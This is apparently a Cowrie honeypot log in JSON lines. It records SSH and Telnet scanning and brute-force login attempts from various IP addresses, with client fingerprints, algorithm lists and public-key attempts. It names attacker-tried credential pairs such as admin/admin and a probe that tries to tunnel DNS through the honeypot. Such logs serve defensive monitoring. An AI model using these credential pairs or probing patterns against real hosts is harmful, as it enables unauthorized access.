{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:56.972647Z","src_ip":"202.145.0.61","session":"691c7facb556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!@#","message":"login attempt [ubuntu/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:57.941137Z","src_ip":"202.145.0.61","session":"691c7facb556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:25:59.178665Z","src_ip":"202.145.0.61","session":"691c7facb556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.90.126.229","src_port":15377,"dst_ip":"10.17.0.5","dst_port":23,"session":"36de697fd271","protocol":"telnet","message":"New connection: 102.90.126.229:15377 (10.17.0.5:23) [session: 36de697fd271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:28:26.031050Z"}
{"eventid":"cowrie.session.closed","duration":13.64474081993103,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:28:39.675666Z","src_ip":"102.90.126.229","session":"36de697fd271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19306,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae52ab4b59a9","protocol":"ssh","message":"New connection: 87.251.64.176:19306 (10.17.0.5:22) [session: ae52ab4b59a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:29:10.693999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:29:10.698046Z","src_ip":"87.251.64.176","session":"ae52ab4b59a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:29:10.794461Z","src_ip":"87.251.64.176","session":"ae52ab4b59a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:29:11.094064Z","src_ip":"87.251.64.176","session":"ae52ab4b59a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:29:11.194485Z","session":"ae52ab4b59a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:29:11.299635Z","src_ip":"87.251.64.176","session":"ae52ab4b59a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:29:11.401754Z","src_ip":"87.251.64.176","session":"ae52ab4b59a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":33999,"dst_ip":"10.17.0.5","dst_port":22,"session":"020202deeef0","protocol":"ssh","message":"New connection: 2.57.121.112:33999 (10.17.0.5:22) [session: 020202deeef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:54.252004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:54.257208Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:54.353185Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qw12qw","message":"login attempt [admin/qw12qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:54.810952Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qsefth","message":"login attempt [admin/qsefth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:55.910686Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qsawbbs","message":"login attempt [admin/qsawbbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:57.010887Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qRHMiS","message":"login attempt [admin/qRHMiS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:58.109709Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qcmfd454","message":"login attempt [admin/qcmfd454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:30:59.211545Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:31:00.310169Z","src_ip":"2.57.121.112","session":"020202deeef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.251","src_port":49486,"dst_ip":"10.17.0.5","dst_port":22,"session":"5174a6626121","protocol":"ssh","message":"New connection: 45.79.181.251:49486 (10.17.0.5:22) [session: 5174a6626121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:15.422241Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:15.427203Z","src_ip":"45.79.181.251","session":"5174a6626121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:15.431229Z","src_ip":"45.79.181.251","session":"5174a6626121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.181.251","src_port":49488,"dst_ip":"10.17.0.5","dst_port":22,"session":"f94a986d640c","protocol":"ssh","message":"New connection: 45.79.181.251:49488 (10.17.0.5:22) [session: f94a986d640c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:15.438400Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xf2\u000f\\xf5\\xa0\\xed\u000b\u0708\\xe9\\xe5\\xfaS%\u0007\u06db0\\x94\\x96\u0017(\\xd1\u0000\\x98\\xd8'\\x9c!PQ\\xa6\\x93\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xf2\u000f\\xf5\\xa0\\xed\u000b\u0708\\xe9\\xe5\\xfaS%\u0007\u06db0\\x94\\x96\u0017(\\xd1\u0000\\x98\\xd8'\\x9c!PQ\\xa6\\x93\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:15.443424Z","src_ip":"45.79.181.251","session":"f94a986d640c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:15.447259Z","src_ip":"45.79.181.251","session":"f94a986d640c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":41260,"dst_ip":"159.203.135.109","dst_port":22,"session":"491e901a4182","protocol":"ssh","message":"New connection: 84.239.42.8:41260 (159.203.135.109:22) [session: 491e901a4182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:33.382864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:33.387643Z","src_ip":"84.239.42.8","session":"491e901a4182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:33.517998Z","src_ip":"84.239.42.8","session":"491e901a4182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"000000","message":"login attempt [admin/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:34.026957Z","src_ip":"84.239.42.8","session":"491e901a4182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:33:35.187708Z","src_ip":"84.239.42.8","session":"491e901a4182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":57522,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae10c2ac9e25","protocol":"ssh","message":"New connection: 64.31.53.170:57522 (10.17.0.5:22) [session: ae10c2ac9e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.161818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.167235Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.175959Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:94:e4:53:ff:ee:40:52:86:ad:63:c5:4c:15:ab:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCleNQlQiJlCP06MRI4WvLLTAS4THB3uYflTY1owHhz4q9n/qqyuHlCmR6zdVWHz4BeLULaMerF9QXRVapBzerjD/Olit/9+Pmc8WFn+60g7sbDQCIT768wTeOT0qZJ1QdmWXLhMQazG3iNQilRyLcGinQh89AsV8dcxTHlb4B6HD9LFHQpkVQfYI3o9onBOpAP8h8HhGO/OzgaqIVEBr14gGNOVlmkUY97aC77aYavENNOxxTOVwS33c5DKEU7/gcfuhTQgiM+P2y3PUkVi/McCTuRFG3m3PFfUqPI9pdNhlPwq2uFMM/DZgp3egM6lfdcCCVAaFb7LhIO1pnlxccb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:94:e4:53:ff:ee:40:52:86:ad:63:c5:4c:15:ab:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.192360Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:94:e4:53:ff:ee:40:52:86:ad:63:c5:4c:15:ab:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCleNQlQiJlCP06MRI4WvLLTAS4THB3uYflTY1owHhz4q9n/qqyuHlCmR6zdVWHz4BeLULaMerF9QXRVapBzerjD/Olit/9+Pmc8WFn+60g7sbDQCIT768wTeOT0qZJ1QdmWXLhMQazG3iNQilRyLcGinQh89AsV8dcxTHlb4B6HD9LFHQpkVQfYI3o9onBOpAP8h8HhGO/OzgaqIVEBr14gGNOVlmkUY97aC77aYavENNOxxTOVwS33c5DKEU7/gcfuhTQgiM+P2y3PUkVi/McCTuRFG3m3PFfUqPI9pdNhlPwq2uFMM/DZgp3egM6lfdcCCVAaFb7LhIO1pnlxccb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.196061Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:73:00:f4:9a:8c:6c:1f:f4:0f:9b:7d:bf:f2:76:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJhvSQZkAMfcnIQKDxmL/HizFJfHX9cISU02aWuUJzl2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d1:73:00:f4:9a:8c:6c:1f:f4:0f:9b:7d:bf:f2:76:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.203470Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:73:00:f4:9a:8c:6c:1f:f4:0f:9b:7d:bf:f2:76:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJhvSQZkAMfcnIQKDxmL/HizFJfHX9cISU02aWuUJzl2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.207263Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:86:f6:eb:e5:79:e5:03:2b:90:36:37:bf:3b:a3:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1I2b55siCnqb11F+p9tP43SDLIpSHIDMjpa0xmSEEJIVuGETHFXJiwEVgQZQDoJnLUt/PHedh/sG/pty2Y+zvR8iK0fqdaPP2CB37F4+kitS3dJX3H3WB0olRL0SCoSsEpy6PAkNQrE/x2kzx3bgvbxu1mjmCxEAWooBOxwe4IBWsmcfsCipfA3I0yzdootC6MfeLegscpeA9xWbEmQM5jnNuO4o4e5f6C/vCbSdQ6WkRIHv9MfHtLh+SxpJ1wST9PGyPqJ8CQevg6Jv+iZTx8grJRMLjYEZnz5zb5DWkfiwSvgZqQTsa/AJlhULhUEliyKDiZh/ldEz/LgflXtMXU5gF5DfIf3fP9obBJUqf7SYYracM9O4S5Klpz5X6pELcAqY7JcKspDlF6Hc4+jKK4Vp3DlMFL6CqlcmJPQ8AkX0C+2LAf8VRJRic0KZbLqWQYp6h5Qm/ZPSAooYrOuXF5irvu8bsM1zhCjb0wxdWmukz6Y3DvJk08zbiHG8Yfnc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:86:f6:eb:e5:79:e5:03:2b:90:36:37:bf:3b:a3:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:34:32.213612Z","src_ip":"64.31.53.170","session":"ae10c2ac9e25","protocol":"ssh"}
